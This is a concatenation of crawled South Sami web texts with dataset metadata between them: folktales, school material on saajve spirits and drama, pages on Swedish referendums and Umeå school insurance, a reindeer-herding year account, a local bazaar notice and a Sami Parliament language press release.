edtja naan jeatjagidie råakedh. Dle ij goh jeatjegem råakh enn goh bïernem.\nDellie jeahta dan bïernese: \"Daan biejjien bïjvele, baahke.\" \"Jaa nov lea baahke, jalts ij leah gujht ov alvas baahke,\" bïerne jeahta.\nDie Lutniestæjja jeahta: \"Datne dejnie jïjtjedh boevteres muadtine, datne mannem saehtieh rastah dam jeanoem, manne edtjem maaje don bealan.\"\n\"Doesth tjihkedidh dan mov rudtjen nille?\" bïerne jeahta.\n\"Jis im lim doesteme, im mån lim gihtjeme,\" Lutniestæjja svååroe. \"Tjihkedh rudtjen nille, dell' edtjem manne saehtielidh,\" bïerne viht. Dle ojhte, Lutniestæjja tjihkede bïernen rudtjen nille, jïh bïerne vuaja dom dulvies jeanoem rastah.\nDellie Lutniestæjja jeahta: \"Jaa, datne edtjh slyöhpedh jïjtjedh beapmoej åvteste barkedh jïh sæjlodh jaepiem bïjre. Maaksojne edtjh åadtjodh gaajhke daelviem åeredh. Datne edtjh åadtjodh åeredh goske biejjie baahkede, dell' edtjh tjuedtjielidh bæjjese jïh vuartasjidh maam dle vuajnah.\"\nNumhtie dam bïerne dan hijven åtna.\nBïernen gellie nommh:\n- duvrie\n- boelt'aajja\n- biss'aajja\n- beere\n- gumsie\n- muadt'aajja\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\n- Kjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:128502","date":"2019-08-20T23:56:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315681.63\/warc\/CC-MAIN-20190820221802-20190821003802-00280.warc.gz","language":"sma","language_score":0.9998902082,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998902082443237}","num_words":451,"character_repetition_ratio":0.146,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saajve gellie saemien soptsesinie gååvnese. Daennie sæjrosne maahtah saajvi bïjre lohkedh. Tjaalege lea gærjeste Staaloeh vienhtieh aske lea dålle maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjelsaemien gïelese jarkoestamme.\nSaajve\n- Aelien faamoe lij goh såemies vaerine, baektine, jaevrine årroeminie, båeries saemieh jeehtin.\nDagkerh vaerieh jïh jaevrieh saajve-vaerine jïh saajve-jaevrine gåhtjoejin. Gosse saajvh jïjtjemsh aelien darjoejin, die lin goh almetjh. Faavroes lin jïh plaave gaeptiejgujmie gåårveldihkie. Öövre goh saemieh jieliejin, læjhkan lij gaajhke saajve-laantesne sagke buerebe, raaktan lij; desnie lij stoerre læhkoe jïh raerieburrie.\nSaajvh lin gellien aejkien almetjidie jijhtehks, dejgujmie soptsestin jïh aarhte-laaki bïjre saemide lïerehtin jïh buerie raerieh veedtin. Dejtie raeride lij bööremes fulkedh, voen nåake sjïdti.\nSaemieh saajvide sjïeledin guktie edtjin bovtsigujmie læhkoem åadtjodh jïh åeliem ov læhkoej jïh skïemtjelassi vööste åadtjodh.\nJis noere baernie saajve-nïejtem åadtjoeji vuejnedh gïem aaj sïjhti utnedh, die nejpiem jallh aaj jeatja staeliem meehti nïejten åejjien bijjelen sleengkedh, jallh aaj elties soermem skunhkedh guktie vïrre gåajhkoehtasse (gååjhkehtasse) jijhti. Nimhtie tjoeri eatnamisnie sjïdtedh, jïh baernie tjoeri dejnie pruvredh. Jis gaajhkide elties raeride fulki die åadtjoejigan ektesne aavrehken jieledh. Saajvenïejte raajoem meatan utni: Stoerre jïelegem heamturelaaketje tjaebpies bovtsijste.\nJis baernie stillemidie båarhkoeji mejtie saajve-nïejte dïsse vedti, die gåmmebem dassi jïh gaajhkh buerieh mejtie dïhte meatan utni. Mænngan jieliemisnie tjoeri tsïegkenadtedh jïh ovlæhkoejgujmie tjomperdidh. Idtji saajvide gåaredh nulliehtidh, guktie staalojde. Såemies aejkien dellie saajvh meehtim, saemieh edtjin jïjtsh gåetieh jallh giedtieh miehtjiedidh juktie dah lin saajvi gåetiej bijjielisnie. Saajve-jaevrine lin guektien giertien betnieh. Dennie vöölemes betnesne lin dah årroeminie gïeh gueliej bijjelen reerin. Buerie almetjidie guhte jieleme-laakide fulkin dejtie tjaebpies saalehtem vedtin.[1]\nVuartesjh Åarjelhsaemien teateren vuesiehtimmiem saajvi bïjre.\nDiedtieh linkide jïh lohkh vielie saajvi bïjre.\n- 1«Staaloeh vienhtieh aske lea dålle». Birkeland, Kirsti. Cappelen forlag. 2002.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:127372","date":"2019-08-22T19:23:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317339.12\/warc\/CC-MAIN-20190822172901-20190822194901-00144.warc.gz","language":"sma","language_score":0.9999172688,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999172687530518}","num_words":397,"character_repetition_ratio":0.148,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Heannadimmie dorjehtimmesne lea daamtaj boelhkine jïh scenine juakeme. Maehtebe jiehtedh boelhke lea dorjehtimmien kapihtele. Juekeme dorjehtimmesne maahta årrodh vuesiehtimmien gaavhtan biejjeste jïjjese jallh sijjeste sæjjan.\nScena\nAktene boelhkesne gellie scenah. Scena lea unnemes biehkie dorjehtimmesne. Akte scena lea monologe jallh soptsestalleme seamma sijjesne jïh tïjjesne. Dah scenah målsoeh gosse råålle-gaagkoe scenese båata jallh sceneste vaadtsa.\nBaakoeh\n|Saemien||Daaroen|\n|dorjehtimmie||skuespill|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173897","date":"2019-08-24T09:55:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027320156.86\/warc\/CC-MAIN-20190824084149-20190824110149-00314.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":60,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åålmegeveeljeme\nSveerjesne göökte såarhth åålmegeveeljemh gååvnesieh mah abpe laantesne juhtieh: Raeriestimmie åålmegeveeljeme jïh åålmegeveeljeme våaromelaakegyhtjelassesne.\nRïjhkebiejjie muana jis edtja åålmegeveeljemem abpe laantesne tjïrrehtidh. Rïjhkebiejjie aaj muana gïeh åadtjoeh tjaatsestidh jïh mah vaestiedassealternatijvh edtjieh årrodh.\nÅålmegeveeljemisnie abpe laantesne prinsihpeles seamma njoelkedassi mietie rïjhkebiejjieveeljeminie g.j veeljemedistrikti bïjre jïh veeljemen bïjre Sveerjesne jïh ålkoelaantesne.\nÅålmegeveeljeme tjïeltesne jallh laantedigkesne lea eejnegen raerievedteme. Dïhte lea dah tjïelth jïh laantedigkieh mah muenieh dej åålmegeveeljemi bïjre.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/aalmegeveeljeme.html","date":"2019-08-24T05:47:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319724.97\/warc\/CC-MAIN-20190824041053-20190824063053-00015.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":69,"character_repetition_ratio":0.138,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah vuesiehtimmie-tjaalegem Nihtieh kreeke-pryövenassh! lohkedh. Vuesiehtimmie-tjaalege vuesehte guktie maahtah argumenteereles tjaalegh tjaeledh.\nNihtieh kreeke-pryövenassh!\nIkth jaepien, voerhtjen 24. biejjien, lea pryövenassh-kreeki biejjie. Veartenen kreekevaarjelimmie-åårganisasjovnh nænnoestamme daate akte gaske-nasjovnaale biejjie. Daejnie biejjine vaajtelieh jienebh almetjh aelkieh ussjedidh dejtie kreekide mah jeenjemes njåvtasuvvieh jïh eah maehtieh jïjtjemse vaarjelidh.\nGellie millijovnh kreekh laboratovrine geereldahkesne, gusnie njåvtasuvvieh baaktjes pryövenassigujmie. Ij naan kreekevaarjelimmie-laake gååvnesh mij maahta irhkemem heerredidh. Daesnie Nöörjesne gidtjh dotkeme aaj tjeakoes, guktie ibie åadtjoeh daejredh mij heannede.\nJïjnjesh utnieh pryövenassh kreekide leah maereles juktie dah leah almetji buaratjommesen gaavhtan. Dellie datne edtjh daejredh, dah jeanatjommes pryövenassh leah kosmetihken, reejneme-mehtien jïh plearoeh aati bïjre. Lissine, dle medisijnen pryövenassh fer muevies illedahkh vedtieh.\nAlmetji stööremes healsoe-dåeriesmoerh daan biejjien leah dah mah gohtjesuvvieh jieledevoete-skïemtjelassh. Dah leah skïemtjelassh mejtie åadtjobe juktie ibie bodtjehke-laakan jielieh. Mannasinie dotkijh edtjieh kreekh irhkedh juktie bådtjah gaavnedh skïemtjelassi vööste mah jïjtjene skåaltoe? Mijjieh byörebe buerebh mijjen jielede-viejsjieh jeatjahtehtedh. Ij mijjen naan reakta baajedh kanijnh, rööhtsh, bïenjh jïh jeatjah kreekh vaejviedidh mijjen gaavhtan!\nP.Thoresen, Kreekevaarjelimmie Verdaelie\nBaakoeh\nSaemien\nDaaroen\nkreeke-pryövenassh\ndyreforsøk\nkreekevaarjelimmie-åårganisasjovnh\ndyrevernsorganisasjoner\ngaske-nasjovnaale\ninternasjonal\ngeereldahkesne\ninnesperret\nkreekevaarjelimmie-laake\ndyrevernslov\nreejneme-mehtie\nrengjøringsmiddel\njieledevoete-skïemtjelassh\nlivsstilssykdommer\nbodtjehke-laakan\nsunt\njielede-viejsjieh\nlevevaner\nArgumentasjovneKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:172882","date":"2019-08-24T08:39:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319915.98\/warc\/CC-MAIN-20190824063359-20190824085359-00130.warc.gz","language":"sma","language_score":0.9999870062,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"sma_Latn_score\": 0.999987006187439}","num_words":188,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mia Erika Sparrok -Snåasen skuvle\nUuminnga immiunneqarpoq Mia Erika Sparrok\nSaemieh gaektsie jaepieboelkh utnieh mah bihkedieh guktie båatsoejaepie.5\nGïjre\nGïjrege aaltoeh guedtieh jïh båatsoejaepie aalka. Mijjieh tjoerebe bovtside geehtedh olles ovjuvrh smaave mieside vaeltieh.\nGïjre-giesie\nRuffien asken dellie suehpiedimmie mahte riejries. Daelie vihkele ij bovtside sturrh guktie åadtjoeh raeffesne gåatodh.\nGiesie\nRuffien jïh snjaltjen asken dellie bovtside tjöönghkebe jïh geadtan tsaekebe. Mijjieh mieside mïerhkesjibie.\nMijjieh nejpine mïerhkesjibie. Gaajhkh båatsoe-saemieh jïjtsh mïerhkem utnieh. Mïerhkh vihkeles utnedh guktie maahta vuejnedh gïen bovtse lea.13\nMijjieh svahpam jïh soehpenjem nuhtjebe gosse edtjebe miesiem jaksedh.15\nTjaktje-giesie\nMijjien luvnie dellie bovtsh ruevtieraajroe- linjan jïh E6-geajnoen bijjelen restiedieh. Mijjieh tjoerebe geehtedh olles tåågh jïh bïjlh bovtside njeervh.\nTjaktje\nTjaktjege vaegkiej mietie vaaksjobe jïh geehtebe olles bovtsh kraana-sïjtese vuelkieh. Mijjieh geadtan tsaekebe jïh sarvah leekebe.\nTjaktje-daelvie\nGeadtan tsaekebe jïh raerhkebe guktie vuejnebe gien bovhtsh jïh magkerh edtjebe leekedidh.\nDaelvie\nDaelvege bovtsigujmie daelvielaantese juhtebe. Mov fuelhkie pråvhka dåvvese juhtedh. Tjoerebe bovtside vaaksjodh.\nGïjre-daelvie\nBovtsh suehpedslaantese rahtjeminie. Mijjieh bovtside gïjrelaantese juhtebe jïh aaltoeh miesieh guedtieh.\nMåjhtah gåessie aaltoeh suehpedieh?27\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1-26: Ina Theres Sparrok","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/atlantbib.org\/kl\/node\/1069","date":"2019-09-17T09:04:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573065.17\/warc\/CC-MAIN-20190917081137-20190917103137-00062.warc.gz","language":"sma","language_score":0.9999785423,"language_script":"Latn","minhash_cluster_size":169,"top_langs":"{\"sma_Latn_score\": 0.9999785423278809}","num_words":180,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Mijjen leah vielie goh 500 tombolapreemijh jïh naa gellie åejviepreemijh, åvtehke Grete Sildnes Øverbygda barkoetjïertesne mojjehte. Dïhte lea åvtehkinie ovrehte göökteluhkie eadtjohke lïhtsegidie mah fuehpesne orreme gurredh, beapmoeh jurjiehtidh jïh jïjnje vielie dan minngemes tïjjen. Minngemes aejlegen rïhkeden edtjieh vuerpieh doekedh jïh dovne gïetevætnoe jïh njaelkies beapmoe leah njaelkies preemijh Bergkollesne. Beetnegh basaareste edtjieh voenges råajvarimmide juhtedh. Siebriedahkegåetie Bergkollen, Snåsatråkkk, laatege Bjørganisnie, Snåasen skïemtjegåetie, Hovteigen jïh plåamsterh jåvlide dejtie mah 80 jaepieh illeme leah daej råajvarimmiej gaskem.\n– Mijjieh sïjhtebe almetjh båetieh. Desnie åådtje almetjh råakedh jïh mijjieh gaskebiejjiem, laadtegegïhpem, prïhtjegem jïh maam akt lissine utnebe.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.snasningen.no\/sorsamisk\/2017\/10\/26\/Riejries-orre-basaarine-Bergkollesne-15509173.ece","date":"2019-09-20T16:48:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574050.69\/warc\/CC-MAIN-20190920155311-20190920181311-00436.warc.gz","language":"sma","language_score":0.9999808073,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999808073043823}","num_words":93,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Mijjen vihkielommes laavenjasse lea sijjieh sjugniedidh saemien gïelide jïh baahtsemenuepiem gïelide vedtedh. Daate sæjhta jiehtedh mijjieh tjoerebe saemien gïelelïerehtæmman jïh åtnose saemien gïeleste sjïehteladtedh gaajhkine areenine siebriedahkesne. Tjoerebe aaj saemien gïelh våajnoes darjodh dennie byögkeles tjiehtjielisnie jïh hijven sjïdtemenuepieh gïelide sjugniedidh, saemiedigkiepresidente Aili Keskitalo jeahta.\nSaemiedigkie sæjhta dejtie saemien gïelide veaksahkåbpoe darjodh jïh dejtie akten ellies gïelebarkoen tjïrrh evtiedidh gusnie barkoe stuvresåvva gaajhki njieptjiej vööste gaajhki siebriedahkesuerkiej sisnjeli. Juktie daennie barkosne lyhkesidh, gaajhke gïelebarkoe tjuara aktivyöki barkojne vuajnalgidh, jïh sinsitniem våaroeminie utnedh.\nGïelelutnjeminie saemiedigkieraerie gellie tjïelke råajvarimmieh buakta ovmessie barkoesuerkiej sisnjeli. Såemies dejstie råajvarimmijste Saemiedigkie sæjhta jïjtje tjïrrehtidh, jeatjah råajvarimmieh laavenjostoem krievieh jeatjah aktöörigujmie.\nAkte dejstie åejviedïjrijste gïelelutnjemisnie lea saemien siebriedahke tjuara ektesne aktem nænnoes lutnjemem darjodh dejtie saemien gïelide. Saemiedigkie daarpesje byögkeles jïh privaate aktöörh jïh institusjovnh aktem dïedtem vaeltieh juktie saemien gïelh nænnoestehtedh, jïh viehkiehtieh guktie saemien gïelh leah våajnoes siebriedahkesne.\n- Sïjhtebe dan åvteste gaajhkide bööredidh jïh haestedh, goh jieleme, institusjovnh, siebrieh, privaate jïh byögkeles aktöörh jïh datne, gïelelutnjeminie viehkiehtidh. Sïjhtebe fïereguhte edtja dïedtem vaeltedh, voengesne, regijonaale jallh nasjonaale sijjesne, saemien gïelh våajnoes darjodh jïh dejtie nuhtjedh, saemiedigkiepresidente Aili Keskitalo jeahta.\nMin boazu - akte bovtseleekedimmiesïelte mij aadtjen aalkeme, vuesehte guktie saemien gïele våajnoes dorjesåvva. Sïelte saemien gïelem nuhtjie gaajhkine sov dorjesinie, logojne, bæjhkoehtimmine jïh bïevnesinie dovne sosijaale meedijinie jïh gosse båatsoeaajhterigujmie gaskesadta.\nMijjieh jienebh dagkerh dåarjoeh sïjhtebe. Jïh mijjieh sïjhtebe edtja iemie årrodh saemien jïh nöörjen leah våajnoes loevtsæjresne, mejtie lea beapmoen bïjre, bæjhkoehtimmine jallh sosijaale meedijinie.\n- Mijjieh aaj sïjhtebe gaajhkh aktöörh enn vielie edtjieh gïele- jïh kultuvremaahtoen mietie gihtjedh, jïh naemhtie viehkiehtidh guktie maahtoe vuajnelge goh vyörtegs jïh nuhteligs. Privaate jïh byögkeles aktöörh byöroeh aaj eadtjohkelaakan barkedh saemiengïeleldh maahtoem sijjen faagesuerkide dåårrehtidh. Daate sæjhta jiehtedh studijesijjine mïnnedh, saarnodh man jeenjesh mah saemien gïele- jïh kultuvremaahtoen mietie gihtjieh jïh ovmessie karrierenuepiej bïjre bievnedh. Akte eadtjohke saemiedigkiepresidente jeahta.\nDaelie saemiedigkiepresidente aaj sæjhta datnem meatan utnedh daennie gieltegs barkosne, dan åvteste fïerhte baakoe ryöknesåvva. Jis gaajhkesh dovnesh ånnetji dåarjoeh dellie tjåanghkan jïjnje sjædta. Baajede mijjem daan biejjien aelkedh. Årrode meatan gïelelutnjemisnie!\nJis dov gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth: Saemiedigkiepresidente Aili Keskitalo, +47 971 29 305","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Preessebievnese-AArrode-meatan-gielelutnjemisnie","date":"2019-09-20T09:33:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573988.33\/warc\/CC-MAIN-20190920092800-20190920114800-00526.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":341,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjirkemh\nFörsäkringar\nOvlæhkoetjirkeme\nAarhskuvlemaanah, skuvlemaanah jïh lohkijh geerveööhpehtimmesne jïh SFI:sne Upmejisnie meatan tjïelten ovlæhkoetjïerkeme. Tjirkeme abpe dygnem dæjpa skuvletïjjesne jïh eejehtimmesne.\nJis slæjraridh\n- Skaaram tjirkemebolagese beavna dan varki maam maahta.\n- Skaaram tjirkemevaeltijistie beavna.\n- Baenieskaarine dan varki maam maahtah baeniedåaktarasse.\n- Gaajhkh maeksemeleahpah spååredh.\n- Bolage diagnosem ryöktesth ovlæhkoen mænngan kreava.\nBïeljelh rektovrem jallh aarhskuvleåejviem gusnie dov maana orre viehkiem åadtjodh ohtsemegoerigujmie jallh telefovnenummerem tjirkemebolagese.\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/tjirkemh.4.3f5fc95914ce7bcf45114db9.html","date":"2019-09-23T18:14:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514577478.95\/warc\/CC-MAIN-20190923172009-20190923194009-00262.warc.gz","language":"sma","language_score":0.9999492168,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999492168426514}","num_words":65,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Aarporten jïh Åarjel-smaaregen soptsesh mij jaepien 1996 trygkesovvi. Just Knud Qvigstad lea gærjam tjaaleme jïh Lajla Mattsson Magga lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme. Gærjesne heamturh, soptsesh jïh vaajesh gååvnesieh.\nKlies Kliemmet\nDïhte lij Klies Kliemmet provresth ålmaj. Dle akten aejkien dïhte sov gåmma jaama, dle stoerre sårkoem öödtji. Dle funteerie: \"Mejtie ij gåaredh jeemegijstie dam mov gåmmam bååstide vaeltedh?\"\nDej tïjji gosse naaken jaama, dle gujht jeemegh jïjtjh vaaredh viedtjieh dam lïjhkem dan almetjen, mij lea jaameme. Dellie gujht Klies Kliemmet vööjni, juktie jeemeh-flåahke(-dåehkie) bööti dan sov gåetien sïjse. Dan sov gåmman lïjhke lij dan gåetien sisnie. Klies Kliemmet lij ålkone, goh dah böötin. Dle tjaangin gåatan jïh veeltin dam lïjhkem mij lij gåetien sisnie. Klies Kliemmet dam vööjni, dle ussjedi: \"Manne edtjem vaarredh åvtene jïh geehtedh, gosse båetieh.\"\nKlies Kliemmet vaarri dej jeemegi loedten mietie. Dah jeemegh lin båateme stoerre vaerien mietie. Klies Kliemmet vaarri stoerre burrien nille; dïsse tjåådtjiji jïh (edtja) vuertedh, goske doh jeemegh båetieh dahkoe. Dellie ojhte jeemegh böötin laavloen joejken, juktie leah dellie sijjieh aktem jeemegen jienebem åådtjeme.\nGoh böötin gusnie Klies Kliemmet tjåadtjoeminie, dle akte jeemege jeahta dujtie mubpide jeemegidie: \"Ij sel (sån leah) dellie Klies Kliemmet dïhte tjåadtjoeminie dan burrien nelnie.\"\nMubpie jeemege svååroe: \"Dïhte lea gujht barre vaartoe.\" Dle mïnnijin vihth. Klies Kliemmet tjåadtjoeji barre stille.\nGosse bealese böötin, dle Klies Kliemmet laari jïjtse stoerre gulhkine jïh svinhti bïjre jarkan. Jeemegh ojkesegöötin. Dle bïksi dam sov gåmman lïjhkem jïh vaarresti; dle vaarra barre ïpmerijhken. Jeemegh dåalvoejin mïnngesne. Klies Kliemmet lij så snaare (sneehpes) vaarredh, idtjin annje jaksh. Goh vööjnin, idtjin jaksh, dle lööjhtin gåmman voejkenassem jïh jeehtin voejkenassese: \"Mïnneh bååstide, gustie libie mijjieh datnem vaalteme. Juktie naemhtie sjïdti, dle tjoeverh åadtjodh veasodh annje naaken jaepieh dov geelline.\"\nKlies Kliemmet vööjni, idtjin jeemegh jaksh. Dle tjöödtjehti jïh vuartesje don sov gåmman lïjhkese. Dle jeahta jïjtsinie: \"Maam dellie manne darjoem daejnie jeemeginie? Buerebe lim baajeme voelkehtidh.\" Dellie Klies Kliemmet bïejeli dam lïjhkem dan sov bealese. Onnetji lij lïjhke gællasjasteme, dle tjuedtjieli bæjjese. Dle lij dïhte altese voejkene båateme bååstide jïh tjaangeme dan lïjhken sïjse. Dle vyösiji.\nKlies Kliemmet aavone sjïdti, juktie satne sov gåmmam veasoje vihth bååstide öödtji. Dle mïnnijigan hïejmese. Jis eagan leah jaameme, dle veasoejægan gujht annje.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: 